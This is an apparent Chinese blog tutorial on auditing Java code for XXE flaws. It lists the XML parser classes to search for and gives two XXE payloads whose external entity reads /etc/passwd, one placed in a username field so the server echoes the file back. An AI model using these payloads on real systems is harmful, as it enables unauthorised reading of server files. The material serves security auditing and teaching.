【Java代码审计】XXE漏洞-3.XXE 漏洞审计

时间:2024-04-08 09:19:54

XXE 漏洞的审计方法和其他漏洞类似,只是搜索的关键字有所不同

XMLReader
SAXReader
DocumentBuilder
XMLStreamReader
SAXBuilder
SAXParser
SAXSource
TransformerFactory
SAXTransformerFactory
SchemaFactory
Unmarshaller
XPathExpression

我们已经清楚了漏洞的整个触发流程及原理。接下来,可以构造一个用于 XXE 漏洞审计的常见的 Payload。常见的 XXE Payload 如下所示:

<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<xxe>&file;</xxe>

例如某一处漏洞源码中会将 username 节点的内容进行打印,我们只需将上面的 XXE 节点换为 username 即可被成功解析并输出:

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<user><username>&file;</username><password>admin</password></user>

XXE 执行效果如图:

在这里插入图片描述